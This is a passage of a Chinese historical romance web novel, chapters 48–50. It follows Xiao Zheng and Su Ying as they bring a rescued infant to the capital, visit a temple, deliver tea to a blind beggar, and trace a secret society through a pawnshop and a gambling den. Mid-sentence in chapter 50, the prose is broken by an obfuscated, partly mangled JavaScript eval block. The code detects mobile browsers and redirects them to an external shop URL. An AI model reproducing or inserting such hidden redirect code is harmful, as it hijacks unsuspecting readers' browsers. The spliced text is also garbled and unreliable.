怀中婴儿忽然嘤嘤啼哭起来，两人顿时手忙脚乱。跑到临时窝棚边的施粥点，盛了一碗底的米汤吹冷了，用勺子尖小心地贴在婴儿嘴边微微倾斜，婴儿的小嘴咕哝咕哝地吸吮。两个笨手笨脚的年轻男女，围着这脆弱的生命，心惊胆战地盯着婴儿不停嚅动的小嘴儿，生怕哪下呛了他。 “这怎么喂的活？得给他找个奶娘。”一勺米汤吃了快有半柱香的功夫，两人头上都冒了一层薄汗。 萧征还惦记着救灾事务，更是心急如焚：“先把他抱到县衙去，安排个人照看吧。” 到了县衙门前，苏萦双眼簌地一亮，见到一张熟悉的面孔。 “裕隆叔！” 面前正是苏侯府管家裕隆，自幼随侍苏予夺，是苏侯最信赖倚仗的心腹。此次奉苏侯之命押送赈灾物资至此，正对卸车物资做详细清点。 “郡主！”裕隆见了苏萦，匆匆迎上前来，眼中只有欣喜，并无讶异之色。苏萦心下了然，定是父亲安排他在此接应了。 “小人拜见永宁王。”裕隆整衣下拜，向萧征恭谨行礼：“离京之前，侯爷特意嘱咐：若有幸得见殿下，必代禀一声——陛下圣体已渐安，请殿下宽心。” 待两人寒暄过后，苏萦才凑到裕隆身边笑嘻嘻地小声说：“裕隆叔，蜜合也好呢。长得比我都高了。” 裕隆正是蜜合的生身父亲。父女俩都是一双柔和的下耷眼，一个模子刻出来似的。苏萦一见裕隆，莫名地有些内疚，刚才为了目标小，不被萧征发现，忙乱中没带上蜜合，不然她这会儿就可以与她父亲团聚了。蜜合这么多年陪着她在宫里，远比她骨肉分离的时间要长得多了。 “哎哟，是吗？咱们郡主也得快快地长啊！”裕隆和善地笑，微低着头，永远一副谦恭的姿态：“要什么吃的用的，多去信跟咱们侯爷说！” 话到此处，裕隆皱起眉头：“郡主身上这穿的是什么呀？哎哟，简直是乡下人才穿的款式，多亏咱们郡主生得俏，撑得起来！还是咱侯爷夫人成亲那光景，兴过一阵子，早二三十年前的旧样了！快快，给咱们王爷郡主备两身得体衣裳来！这般模样回京，教陛下瞧见，还不知这一路遭了多少罪！” 底下人依令匆匆去了，萧征有些尴尬窘迫，苏萦笑嘻嘻与他耳语：“裕隆叔与我父亲开的第一家铺子便是成衣店，老本行了，见不得人穿坏衣裳。” 裕隆又恳切劝道：“殿下，此地距京城尚有两日路程，侯爷与小人都盼着早日得见女儿平安归来，想来陛下亦是如此心切。此处善后事宜，交给县衙官员与小人即可，还请殿下与郡主稍作整顿，尽早启程吧。” 萧征正色道：“有劳先生寻一位乳母，本王要带这孩子回京。” “带回京？”裕隆微怔：“殿下，这孩子是灾民遗孤？那他父母……” “此子乃其父母舍命相护而得，性命珍贵；于废墟中幸运存活，可谓奇迹；又由本王亲手救出，意义非凡。本王欲以其满月童便为引，为父皇调养延寿。” “原来如此。”裕隆当即领会，肃然颔首：“小人这便去安排。殿下与郡主请先至衙内歇息，稍后车马用品一应备齐，即刻送来。” 没过多一会儿，车马已备妥停于衙前。几名仆人捧着两只硕大的衣包趋步进来。苏萦料定包袱内必有玄机，一个箭步抢上去，快速翻拣，随即牢牢抱住其中一包：“这包是我的！” 萧征见状，不禁失笑：“又没人跟你抢！快去更衣吧。” 一位妇人低着头跟在下人身后走了进来。哭哭啼啼的，是灾难发生时她自己的孩子没有救出来。她红肿着眼接过婴儿，看孩子在她怀中卖力地吸吮，更是触景生情，又落下泪来。 萧征望着这一幕，骤然想起日前在镇上遇见的那对母子。不知那患心疾的孩童与其寡母当下的安危。他当即起身，匆匆赶往那片低矮的民居。 眼前只剩断壁残垣，曾经的窝棚已化为遍地瓦砾。他凭记忆寻到那间茅屋的大致方位，只见棚顶已坍塌，露出的灶台上竟还歪着一只小药罐，内中药汁满溢，俨然是地动前一瞬还在灶上沸腾着。母子二人却不知去向。 他四顾奔走，逢人便问，却无人知晓那对母子的下落。焦灼绝望之际，一声细弱的呼唤突然自身后响起： “贵人……” 萧征倏然转身，只见那瘦削的妇人紧抱着孩子，正怯生生立在残垣之旁望着他。 “太好了，你们没事！”萧征快步上前，如释重负：“我是依照承诺，来接你们上京给孩子治病的。” 萧征和苏萦再次启程时，随行的多了两个苦命的妇人，各抱着一个身世坎坷的孩儿。 萧征和苏萦两人同乘一辆车，苏萦几次掀开车帘，看后面那辆车有没有好好地跟着他们。 几乎能看得见皇城了，马车在路边稍作休整，苏萦从乳母手中抱过孩子来。 “有还哥哥，用了他的童便之后呢？咱们养着他吗？”苏萦抬头看向萧征。 小孩子可不是小花小草小螃蟹，随便扔给老伍叔就能活的很好。她临出宫那天，还瞥见老伍把那天捡的螃蟹放在花园石板上晒太阳。 “那之后，便送他入京西的龙泉寺，落发出家，由寺中主持照拂。”萧征心中早有主意，不假思索地答道。 见苏萦眼中仍有疑虑，他又温声补 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她是轻易不会改变自己想法的人。那些记忆隔了几十年，久到他几乎忘了，她幼时多少次抓紧一切没人注意的时机，不管不顾地向宫外奔逃。 奶娘，宫女，母后，还有他，都曾追在她身后。 他幼时也曾像那些气喘吁吁的宫人们一样偷偷地厌烦过，觉得她不知好歹，觉得她屡次三番这样，让皇室难堪。 可他现在突然完全理解了。不喜欢，并不是错。 “若不做郡主，你想做什么？” “我想想……”苏萦抬起头，微蹙着眉头畅想：“若我不做郡主，现在我可能正跟我爹一样，四处游山玩水，发现什么好吃的，好玩的，就进贡到皇宫里，让你们这些没出过门的皇子见见世面。” 她朝他嘻嘻一笑：“兴许，我们还是会见面呢！” 萧征望向她灿烂的笑脸。那个困囿在他王府中，刻薄狠毒的王妃，与她没有半分相像。 兴许，这才是她本该是的模样吧。 “他若真如你所说，是个贪恋世俗的人，等他十岁的时候，咱们去接他出来。”他郑重许诺。 “是吗？那咱们可别忘了。”苏萦释然地一笑。 咱们。好像又缔结了某种契约，只属于他们两个的。 这个想法让恐惧再次攫住了他，让他下意识又要逃避。 “乖乖，十年很快就到了，一转眼，姐姐在宫里就待了十年呢。” 在她浑然不觉，喜滋滋地逗弄着襁褓中的娃娃时，他眼神悲伤地望向她。 这次，一定要把她推开，推远。他暗下决心。 苏萦把孩子交回乳母手上，惦记起衣包中发现的最后一个锦囊。 茶叶一罐，送予南城瓦罐巷，巷口瞎眼老乞丐。 瓦罐巷，老乞丐……苏萦的眼珠转了个圈，偷偷地定格在萧征的背影上： ……怎么甩掉他呢？ 48.面首一号不同意，只一味说罪过罪过 苏萦未曾料到，已考入太医院的温郎中，在京中的住处竟是这般局促。一行人蹚着满地散落的医书卷册，绕过扎满银针的半身假人，好不容易才在后院寻见正坐在药炉前摇扇守火的温元正。 温郎中闻声抬头，目光越过众人，直接落在那抱着孩子，惴惴缩在最后的民妇身上，眉头一皱，起身一径走过来：“先将孩子抱到里间榻上，容我细听心脉。” 他探指轻搭孩童腕间，又凝神细细观了面色，随即转身取来针囊，在孩子掌指穴位上迅速施了几针。手下忙着，口中话亦未停，语速快速而平稳：“盘缠带得可够？这孩子可需在京城住上一段时日。他这病症须得缓缓调理，急不得。” 那妇人嗫嚅着，正要打退堂鼓，苏萦已在一旁干脆应道：“够！我让我爹来安排。” 温元正几不可察地点了点头：“既有郡主这一番话，臣可就放心了。”这才转脸望向萧征：“殿下亲临，是为陛下药引之事？” 萧征欣然一笑，并没觉得被怠慢。温元正其人向来如此，在他眼中唯有病患轻重，无关身份尊卑。若是初相识，定误以为他年少骄狂，可前世今生加起来，萧征与他已是三十余年的老朋友了。 “药引已齐备。”萧征侧身示意，乳母忙小心翼翼将怀中婴儿抱上前。 “臣原还以为，陛下嫌童便污秽，殿下顾忌，想舍了此味药引呢。”温元正释然一笑，言语间已轻轻解开襁褓，细察婴儿状态。只见这孩子虽经路途颠簸，却仍面色红润，肢体有力，周身亦无黄疸之象，不由低声赞道：“根基甚好。” “孩子是何时生辰？” 乳母与萧征，苏萦皆茫然对望。温元正却不慌不忙，一手轻捋婴儿蜷曲的小腿，另一手顺势丈量，沉吟道：“身长一尺八寸，囱门未合，掌心握固尚存先天之态……依此推算，当在这一二日间足月。”他抬眼看向萧征，正色道：“殿下若无疑虑，今日便可取用童便，为陛下调制丸药。” 萧征肃然颔首：“好，那便有劳温兄了。” 从温郎中家中出来，苏萦低头闻了闻衣袖，上面已熏染了一层清苦的草药气息。 一行人随即便往京西龙泉寺去。那乳母的丈夫前月战死边关，幼子又于震中夭折，世间已无牵挂，便萌生出家之念，自愿留在寺中哺育婴儿直至离乳，之后就打算在京郊的“明净庵”落发为尼。 慧觉法师于静室接待众人，恰逢寺中用斋时辰，便邀众人同往斋堂。 龙泉寺不愧为皇家常供香火之地，虽是素斋，却颇为精致讲究，尤其是那一碗香菇素面，更是鲜香醇厚，暖意融融。 僧人用斋时不许出一点声音，满堂光溜溜的青皮脑袋默默地咀嚼着，都只低头盯着自己的碗箸，心无旁骛。只有苏萦初次见此场面，好奇地东张西望。 萧征早注意到她吃饭也不老实，探头探脑，怕慧觉法师发现怪罪，悄然凑近她低语：“在看什么？” 苏萦用筷子头极快地朝左边角落一指，神秘兮兮道：“那个长得最好看。” “什么？”萧征微微错愕。 “我说，那个和尚模样生的最好。头也圆，不知道那颗脑袋摸起来是不是滑溜溜的。” “嘘！老实吃你的饭！” 萧征黑着脸哂她，目光却追过去，落在那个埋头吃斋的清秀和尚光洁的头顶。 嘁，不过尔尔。 嘶…… 上辈子她身边仿佛有一个差不多的。 在她病入膏肓之时，日日夜夜在房中为她焚香诵经。 “真喜欢？”他不甘心地再次确认。 “喜欢啊！多好看。”苏萦应的磊落。她边咀嚼着斋饭，边陶醉地往那边望着，脸上露出满足的微笑。话本里说的不错，秀色可餐，美貌真的能下饭。 瞧瞧，瞧瞧这不值钱的样子！萧征嫌弃地别过脸，不愿再看她，心里不情不愿地盘算起来。 她喜欢，那就……先给她备着？一会儿找个机会，问问他肯不肯还俗…… 苏萦哪知道身边人此时正天人交战，她把目光移到桌前小菜上，顷刻便把那漂亮和尚撇在脑后。 挨着她坐的茁儿正吃得专注，小脸上满是满足。他母亲忧虑地盯着孩子，既盼他多吃些，又怕他撑着了，一会儿又要喘不上来气。她自己并不怎么动筷子，只是盯着孩子吃，看了一会儿，眼眶竟红了。她悄然凑到孩子耳边，像下了极大决心似的，嘴唇翕动：“茁儿……将来愿不愿意当和尚？” 孩子好像全没在意，仍专心地咽着面条，苏萦心中却一惊。 是啊，这祖祖辈辈使人短命，使人孱弱的心疾，何必再往下传呢？熬不得寒窗苦读，挥不起锄头镰刀，更拿不起刀枪棍棒，遁入空门，或许是最好的选择了。为什么不呢？ 若他生于富贵之家，当然就可这么将就着活一辈子，病弱公子，话本里有的是姑娘喜欢怜爱呢。可他偏生是个穷人的孩子，除了一生与青灯古佛为伴，似乎已无他路可走了。 小孩子像真的没有听见，他母亲又不再追问，苏萦也只好装作没听见。她表面装得无动于衷，心里却已经盘算起来：他母亲若真打定了主意，她再去让她父亲帮着想想办法。 临走前，慧觉法师亲手为婴儿剃了胎发，襁褓中贴身穿着的小衣裳，也换成与僧袍很相似的灰蓝色，或许干脆就是裁制僧袍时剩下的一块边角料。才满月的娃娃，已成了一个微型的和尚。 苏萦觉得怪异，简直不敢再最后抱他一下，怕他躺在自己怀里，会突然双手合十，沉吟一声：“阿弥陀佛！女施主，罪过罪过……” 说这话的此刻另有其人。 苏萦一回头，见萧征正缠着她中午用斋饭时看上的漂亮和尚。那和尚满面惶恐诧异，双手像叫浆糊黏住了似的，一味地合手弯腰作揖，口中“罪过罪过”念个不停。 萧征没事去招惹人家干什么？她不过是刚刚多看了他两眼，这就吃醋了，去吓唬人了？ 真叫我宫里那帮丫头说着了，怪紧张我的嘛！ 她微不可查地一挑眉毛，有些得意。 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“你不进来坐坐？”苏萦抬眼望他，语气透着惋惜。 “仓促之间，未具仪礼，怎好贸然登堂，失了礼数。”萧征一笑，随口遮掩过去，说罢不等苏萦反驳，便调转马头而去。 苏萦闷闷地望着萧征驾马匆匆离去的背影，不甘心地自我安慰：未具仪礼？哼，这次就当是认认门，以后送聘礼过来的时候，可别走错了！ 想到此处，只气哼哼朝那背影喊道：“不必来此，你我宫门前会合！” 萧征也不知有没有听到，只逃也似地离去，不敢回头望一眼。 保康公主府，正是前世他靖王府的前身，他和苏萦共同生活了七年的家。那里的陈设布置，一草一木都太过熟悉，他太畏惧推开那扇门，让那些竭力封存在心中的朝夕岁月，如惊涛骇浪般向他翻涌而来。 昔年立府成婚之时，京城贵胄云集，地价腾贵。几位不得宠的皇兄所赐宅邸皆颇为逼仄，轮到他与萧庆这最年幼的两兄弟时，父皇母后早已晏驾，萧谅登基，迟迟不提为他们娶妻立府之事，任由他们久久耽搁在南三所，和萧谅的儿子们挤在一处。终是苏萦筹谋，仓促与他成婚，乔将军与苏侯慨然相让京中宅邸，举家迁回秀州嘉裕侯府。萧征心下明白，新皇继位，旧臣自当避退，然这份人情着实深重。这寸土寸金的京畿之地，一座便于朝谒的宽敞宅邸，不知惹来多少兄弟暗妒。 而他当年又做了什么呢？与她争吵，疏离，变着法儿的找由头不回府，任外间流言纷扬：“靖王夫妻不睦，苏家倾尽家资，赔上府邸，王妃还是拢不住靖王的心！”这些背后嚼舌根的风言风语，最终传到他耳朵里时，不知道苏萦已经独自听了多少年。 他这样没有心肝的负心人，怎配再踏入那座宅邸？只盼今生，能护她平安喜乐，尽自己所能全她心愿便罢了。 那和尚真不同意还俗？待下次有机会出宫时，不妨舍下他一张脸来再去问问…… 49.瞎子就不配喝一口好茶叶啦？ 苏萦叩开府门。无须拿出什么凭证，只需一瞥她这张脸，就足够让管门的小厮忙不迭地将她们让进门来，两顶轻轿抬进院里去。 茁儿娘诚惶诚恐，连连摆手，说就在外头等着通传。苏萦执意让她，她便如木雕泥塑的观音般直挺挺地坐在轿内，钳制着茁儿的两手，很怕他去抓轿帘上的穗子。 一个小厮过来要为苏萦挡起轿帘，苏萦抬手阻止：“不必，我一路上看看。” 连廊两边颇有些空荡，这宅子久不住人，连陈设都没什么，还是刚赏下来时候的样子。圣上龙体抱恙，此时也不是修缮装点房屋的好时机。 公主府仆从不算多，规矩不算大。一路上仆从来去，见了她站定行礼，脸上都笑嘻嘻的，那股喜悦劲儿不像演出来的。她虽然个个儿瞧着面生，下人们却像都认得她似的。 抬轿的小厮，个个十七八岁的年纪，身材精壮，样貌清俊。轿子稳稳地前行，并不摇晃，直穿了两三个连廊，只见前头有几个婆子丫头满面喜色地候着，知道是到了。 “慧姨！”苏萦自进家门，总算见到一张熟脸，乔大将军的贴身女使慧娘才为她打起轿帘，她便忍不住扑下来与她紧紧相拥。 “啊哟，我们姑娘这么高了？”慧娘怜爱地把手在苏萦背上摩挲：“多少年没见了，还能一眼认出慧姨来。慧姨又胖了点儿没有？” 慧娘少时便丰腴，人到中年，依然富态，面颊红润饱满，一根皱纹也不见，滚圆的身子包裹在锦缎棉袍里。 “慧姨和我离家那天比，一点儿模样也没变！” “呵！”慧娘嗤笑，脸上却更添了几分喜庆的红晕，说与身后众人：“姑娘像侯爷，专会拣人爱听的话说。” “我可不是，我刻薄的很。”凡说她像她爹的，她都非要辩驳一句。 “怎么宫里没通传，自个儿回来的？”慧娘这才蹙起眉头：“这回回来，能多待一阵子么？” “今晚宫门关前就得回去。”苏萦垂下眼眸，有些黯然。 “你看，我就说这一去，再回来就难了！”慧娘泫然欲泣，似仍在为当年那个五岁的姑娘抱屈：“我说何至于走的那么急，好歹等过了年，姑娘过了六岁生日再走。京城又干又冷，不是一下子就能习惯的。秋天又正是容易上火的时候——” 苏萦不愿再旧事重提，回头一望，众人都悄悄退去，那对母子不知什么时候也已被人领下去了。 “放心吧，姑娘和你爹娘一样，都爱往回捡人，这样的穷苦人装了一院子。她们娘俩是抄了家寄宿的？上京申冤的？讨债的？”慧娘递过一个心领神会的眼神。 “治病的。”苏萦有些诧异，仿佛父母不为人知的一面，被她无意中窥探到一角。 “下面的人会安排好的，放心吧。”慧娘笑着拍拍她的手臂。 “我爹娘在家吗？”苏萦试探着问，心里其实早有答案。 “要是他们两个在，哪轮到胖慧娘拉着你聒噪这么半天！”慧娘苦笑着：“他们两个大忙人，没有在府里老实待着的时候！” “你小姨留在秀州没跟来，说她不喜欢京城。你小姨，打小儿就歪！”慧娘斤起鼻子：“她不就是在京城生的么？在这儿长到好几岁呢。可是她说什么？全忘了。听晏京这名儿就不喜欢。你听听这话！” “也不大喜欢我呢。”苏萦撇嘴，也做起鬼脸。 “那可是！没有你的时候，她像你爹娘的大女儿似的，什么好的都尽着她的。一有了你，还有她什么事儿？可这全是她自己瞎想，别人不敢说，慧姨可全看在眼里呢啊！这些年，你爹娘一点儿没有亏过她，让她管家，不嫁人就由着她不嫁人——” “也由着慧姨不嫁人。”苏萦顽皮地接上。 “我？”慧娘心虚地一转眼珠，随即又底气十足地嚷嚷起来：“我跟你小姨怎么比！乔三姑娘是主子，我是让我爹拿一袋米换给乔家的。老太太说了，你从今往后就跟着姑娘，这话在我心里搁一辈子。你娘嫁到哪儿我跟到哪儿，在战场上打到哪儿我跟到哪儿，哪儿有功夫嫁人呐？你娘哪天一闭眼睛，马上！我就也跟着去了。” “咦！”苏萦发出不赞同的声音。 “哎哟，你娘那体格！”慧娘嬉皮笑脸道：“现在还能随手把你爹举起来抡上几圈呐！照一百岁往上活不成问题！我还怕跟她一起死？我能不掉队就不错了！” 苏萦听得咯咯笑。她从小就爱听慧姨说话。娘说慧姨年轻的时候，比这还要咋咋呼呼，常逗得她笑得肚子疼。 一窥天色，太阳要掉到墙下头去了，今日料定是见不上爹娘了。怀里还揣着那一小盒茶叶，总得趁着回宫前交出去。 她要走，慧姨当然要为她准备马车小轿，安排几个丫鬟小厮跟着，全被她一口回绝，说要自己走走。 “这么冷的天，自己走什么？莫非是——姑娘也跟着搞起那神神秘秘的来了？”慧娘露出一个愁苦的表情。 “爹娘也常常这么神神秘秘的？”苏萦随口问。 慧娘可就闭了口。 她是个心直口快，藏不住事的，想诈出话来一定很容易。可苏萦现下没心情问，她只差这第三样差事，就可以听爹亲口告诉她了。 临走，她还一个回马枪杀回来，猛地一回头警告慧娘：“不许派人偷偷跟着我！” 慧娘脸上挂着笑，点头如捣蒜。 北风实在凛冽，才走出半条街，耳朵和脸颊就冻得生疼。路又远，她打起退堂鼓来了。 有辆马车鬼鬼祟祟地跟在身后，她一回头，车夫便拙劣地匆匆别过脸。 苏萦无奈地叹口气，认命般地转头朝马车走去，一个小厮立刻跳下来放马凳。 苏萦气哼哼提起裙摆两步跨进车厢：“送我到城南！” 车上一张钉在座旁的小茶桌，摆着茶壶和点心盒子。呡一口茶，是刚好能入口的温度，盒子里是她最爱的樱桃煎。座椅上放着个包袱，里面不知装些什么东西。 “你们 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苏萦在车里捧着脸懊恼。刚拿到时也没细看，不是到她手上才发霉的吧？冬天脸上唇上干的都要开裂，糕饼扔在桌上简直越放越酥脆，茶叶怎么会受潮了？送一罐发霉茶叶去给人，怎么好意思？即使人家瞎眼，人家要饭，难道就不配喝一口好茶叶？爹不会让我去戏耍人家的吧？ 她思来想去，心中总过不去，扬声唤赶车的：“这附近有没有卖茶的？要全京城最好的！” 揣着一好一坏两罐茶，她在瓦罐巷口跳下了车。巷子又窄又深，天晚了，夜幕将要落下来，人影幢幢，挨挨挤挤，乞丐，苦力，洗衣妇，暗娼，一张张刻满苦难的脸，提防又敌意的眼光射在她身上。朔风又起，夜幕中的黑影摇晃，像跃跃欲试的落水鬼，要抓一个垫背的冤魂。 苏萦真怕他们的目光，简直能把她穿个窟窿，可她还不得不定睛向每张脸上去寻找，哪个乞丐是看不见的呢？ 脚下一绊，她险些向前扑倒，角落里坐着的人搀了她一把。 她一惊，赶忙甩开手：“谢谢您，您——” 她正对上一双混浊空洞的灰白眼珠，差点将她绊倒的正是一根横在地上，充当盲杖的破竹棍。 “老人家，有人托我给您送盒茶叶来。”她盯着那张满是风霜的脸纠结了一瞬，慌忙把那盒好茶叶递上。 老乞丐的下巴轻轻一抬，摸索着拧开茶叶罐，将里面的茶叶一搓一嗅：“武夷山大红袍？不错！可是姑娘，这是人家托你送来的茶叶吗？” 苏萦硬着头皮又递过那盒坏的去，老乞丐摸索确认后，布满皱褶的脸竟瞬间绽开笑容，朗声道：“这便是了！小姑娘……方不方便告诉我，你是什么人？” “……我不知道自己是什么人。”苏萦面露难色，答得坦诚。 “哈哈，好！”那老人并不深究，撑着盲杖站起身来：“天马上要黑透了，姑娘，快回家吧！” 苏萦朝头顶的一线天望了望，果然是夜幕降临前最后的靛蓝色。 瞎子能对光线这么敏感吗？ 苏萦带着疑惑告别了老乞丐，迫不及待地向巷口跑去。 50.“赢了还不走，小心一会儿输个精光！” 萧征在公主府门前别了苏萦，转头便直奔估衣铺，买了一身半旧的靛蓝棉袍换上，外罩玄色无纹披风，将代表亲王身份的蟠龙私印仔细收入内袋。镜中人眉目依旧，但华贵之气尽敛，只余下三分落拓，七分冷峻，像个有些见识却不得志的寻常文人，或是家道中落的武家子弟。他将马车拴在估衣铺旁的树下，转身汇入晏京隆冬萧索的人流。 此次离京之前，袁鸣对质心阁的调查如泥牛入海，这结果萧征并不意外。若质心阁这般容易露出马脚，前世也不至于成为他心头一根至死未能拔除的毒刺。若想窥见执棋之手，唯有自己跳入棋局之中。 接连两次失利，必已惊动质心阁。萧征手中的线索少之又少，唯一的实物，是那张已被他小心阴干，字迹仍清晰可辨的“质心契”。木片本身是寻常桃木，血渍沉暗。契约文字格式古怪，并非官样文书，也非市井常见的借据，倒像某种自成一派的秘约。落款处并无名姓，只半个指印画押——边缘在阳光下微透暗红，不似朱砂，倒像干涸的血，用水冲刷却并不洇晕。 萧征猜测这是一种特制的赭色印泥。 既是特制，便极有可能成为突破口。 萧征并未直奔文人聚集的琉璃厂，那里过于醒目。他折入城南，在鱼龙混杂的街市间穿行，目光掠过沿途几家不起眼的杂货铺，香烛店，最后停在一间门脸窄小，招牌古旧的“陈记文具”前。店内昏暗，充斥着陈年纸张与墨锭的气味。掌柜是个眼皮耷拉的老者，正就着窗光修补一本破书。 “老先生，叨扰。”萧征将木片小心取出，只露画押一角：“请问，店中可有这种颜色的印泥？” 老者抬眼，浑浊的目光在木片上停留一瞬，眼皮几不可察地跳了跳。他慢吞吞放下针线，凑近些，鼻翼微微翕动，随即摇头，声音干涩：“客官，小店卖的都是寻常朱砂，八宝印泥，没这种血糊糊的东西。这东西，沾上就再也洗不干净了……快收起来吧。” “不干净”三字，他咬得略重。萧征心中一震，不再多问，道谢离去。转身时，余光瞥见老者迅速瞥了一眼街对面。萧征不动声色，走出十几步后假意查看路边摊贩的货物，借着一面模糊的铜镜反射，看见一个原本蹲在“陈记”对面屋檐下打盹的短衣汉子，正慢悠悠起身，朝萧征所在的方向踱来，步伐透着刻意的闲散。 饵已放下，鱼线微微颤动。 萧征不疾不徐，专挑人多眼杂的路线行走。他穿过喧闹的菜市，挤过拥塞的桥头，那短衣汉子的身影如同鬼魅，总在不远不近处闪现，时而消失在人丛，时而又在下一个路口出现。两人目光从没有相触过，仿佛就是两个毫不相干只是碰巧同路的行人。此人跟踪技巧老道，绝非寻常地痞。 行至西市边缘，一片低矮棚户区与老旧瓦房交错之地，跟踪者忽然加速，拐进一条仅容两人并肩的窄巷。萧征略一沉吟，跟了进去。巷内昏暗潮湿，尽头被一堆杂物堵死，是条死胡同。那短衣汉子背对着他，站在尽头，仿佛在等待。 “阁下引我来此，不妨直言。”萧征在巷中段停步，手自然垂在身侧，全身肌肉却已绷紧。 汉子缓缓转身，脸上有一道醒目的疤，从眉骨划至嘴角，让他看起来十分狰狞，可那一双眼睛射出的目光却异常平静，看着这执着的年轻人，口气竟有些玩味： “好奇心害死猫，公子。” “那老头儿说的话，你才也听到了。有些东西，沾上了就甩不掉。看你也不像走投无路的人，这些事，何必打听呢？” “只是偶然见得，觉得稀奇。”萧征面不改色：“听口气，阁下很知道些内情？” “我什么都不知道。”疤脸汉子耸耸肩，一咧嘴，笑容牵动伤疤，更显诡异：“我只知道，再往下查下去，下次脑袋挂在城墙上的，可就不一定是该死的贪官了。他们也不是完全不杀好人的。” “尤其，像你这样的冒失鬼。” 语毕，他竟不再理会萧征，转身手脚并用，异常灵活地攀上旁边一道矮墙，翻了过去。 萧征没有追。对方是警告，也是另一种形式的“指点”——明确告诉他，他的调查已被注意，而且目前来看，方向全对了。质心阁并非毫无反应，只是用一种更隐秘，更居高临下的方式在回应。 他走出窄巷，发现巷口斜对面有家当铺，黑底金字招牌“恒济当”已斑驳。方才那疤脸汉子攀墙的位置，正对着当铺的后巷。萧征心中一动，迈步走进当铺。 柜面很高，后面坐着个戴瓜皮帽，套着棉袖套的掌柜，正就着柜台上的天光，眯眼审视着一块玉佩。见有人来，他掀起眼皮，懒洋洋道：“客官是赎是当？”说话间，他手中鉴定玉佩的动作未停，另一只手的指尖却几不可察地在柜台光滑的木质表面点了三下，又划了一个圈。 萧征即刻心领神会。那是市井中极隐秘的一种手势，与军中或某些行会的暗号不同，更粗糙，意指“有麻烦，小心说话”。这掌柜在警告他，还是……在向另一个人传递信息？ 他回头向店铺外一望，街面空无一人。 “随意看看。”萧征道，目光扫过店内。店铺狭小，除了柜台，只有墙边几排搁着当物的木架，积满灰尘。看不出异常。 掌柜等他逡巡一遍，才懒洋洋地开口：“客官，这儿没什么好看的。这屋里所有的东西，全是有主儿的。” 有主的？他这里没有死当物？萧征心中一闪念，又往掌柜脸上看了一眼。 掌柜懒洋洋地在刚才那块玉佩上穿上一条草绳，草绳上挂上一块木牌。 萧征看那木牌像极了他怀中揣着的质心契，心中一急：“掌柜的，能否让我看看那木牌？” “干什么？”掌柜的把那玉佩往怀里一拢，一脸戒备：“本行当物，概不出售！” “我只想看看那木牌。”萧征觑着他的神色，试探地伸出手去。 “……我拿着，你看吧！”掌柜把那木牌翻过来递到萧征面前，警惕地把玉佩牢牢攥在手中。 木牌与质心契的质地完全相同，散发出一股若有若无的异香。只是其上内容不过是罗列典当人姓名，赎回日期等等，底部画押是再普通不过的八宝印泥。 “上面有什么稀奇的呀？看那么半天！”掌柜不耐烦地从高柜上伸出脑袋。 “……没什么特别的。”萧征很有些失望，可心中疑虑还未消散。 “桃木是辟邪之物，为何用它做号牌？” “客官，你管的真宽呢！快回家啃书本儿去，早日讨个官做，看给你闲的！”掌柜不耐烦地缩回手：“本行要打烊了，客官请便！” 萧征不动声色离开当铺，并未走远，而是绕到后巷观察。巷内堆满杂物，但当铺后门一侧的墙根处，有几片新鲜剥落的墙皮，痕迹很新。他蹲下身，用手指捻起一点墙灰，在略高于地面的位置，两道近乎重合的新鲜划痕嵌入砖缝——是鞋尖急速蹬踏留下的。有人刚从后墙翻入又翻出，很可能就是那疤脸汉子，他进入当铺报了信。 可他又故意引萧征至此——是故意泄露？ 一家只有活当的当铺，与质心契一模一样的桃木片……他掏出怀里的质心契，从中间折断，对着那剖面嗅了嗅。那股异香熏在内里，虽被血腥气盖住大半，却也绝不会错。 这里很可能是质心阁的一个联络点，或者说，销赃，周转的渠道！ 线索开始串联，但愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006394|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发扑朔迷离。质心阁似乎并不怕他找到这个外围据点，甚至像有意展示给他看。 天色渐晚，寒意愈重。既抓住一丝线索，萧征决定乘胜追击。他在不远处一家茶摊坐下，要了碗热茶啜饮着，默默观察。半个时辰过去，当铺也并没有打烊的意思，进出三四人，皆寻常百姓模样。直到一个穿着体面，满脸油光的中年胖子踱步进去，片刻后出来时，手中本空空荡荡的锦缎包袱已变得鼓鼓囊囊。 萧征悄然尾随。胖子颇为谨慎，穿街过巷，最终钻进一条巷子深处的一家门脸气派，灯火通明的赌坊——“千金窟”。喧嚣热浪夹杂着汗臭，铜钱味扑面而来。胖子熟门熟路，绕过吆五喝六的大堂，径直走向后方挂着厚帘的里间。 赌坊，鱼龙混杂，资金流动巨大，确实是隐匿和洗换的绝佳场所。萧征略一思索，用碎银换了筹码，混入赌客之中，慢慢向里间靠近。帘子偶尔掀动，可见里面是更私密的牌局，参与者衣着光鲜，气氛却更加凝滞。 “小子，赢了还不走，小心一会儿输个精光！” 有人冷不丁在嘈杂中扬声断喝一声。 萧征一惊，回头张望，肩膀就在这时被人不轻不重地撞了一下。 “哎哟，对不住对不住！”撞他的是个瘦小伶仃的年轻人，点头哈腰，满脸惶恐，手里还抓着几个筹码：“小人没长眼，冲撞了爷！” 萧征蹙眉，本能地按住放印信的内袋，触手坚实，心下稍安。 “无妨。”他侧身让过。 年轻人千恩万谢地挤了过去。然而，就在擦身而过的瞬间，萧征鼻尖掠过一丝熟悉的奇特香气，似檀非檀，混合着一股冰冷的铁锈味，与他怀中那张质心契上残留的气息如出一辙！ 他猛地回头，那瘦小身影已泥鳅般滑入汹涌的赌客人潮，消失不见。 萧征立刻探手入怀，脸色骤变——内袋中，父皇亲赐，代表他永宁王身份的蟠龙私印已不翼而飞，取而代之的是一枚沉甸甸的筹码。那张质心契，却还好端端地待在另一侧。 对方的目标明确，只取走了最能直接证明他皇室身份的印信：不必装模作样，我们早知道你是谁。 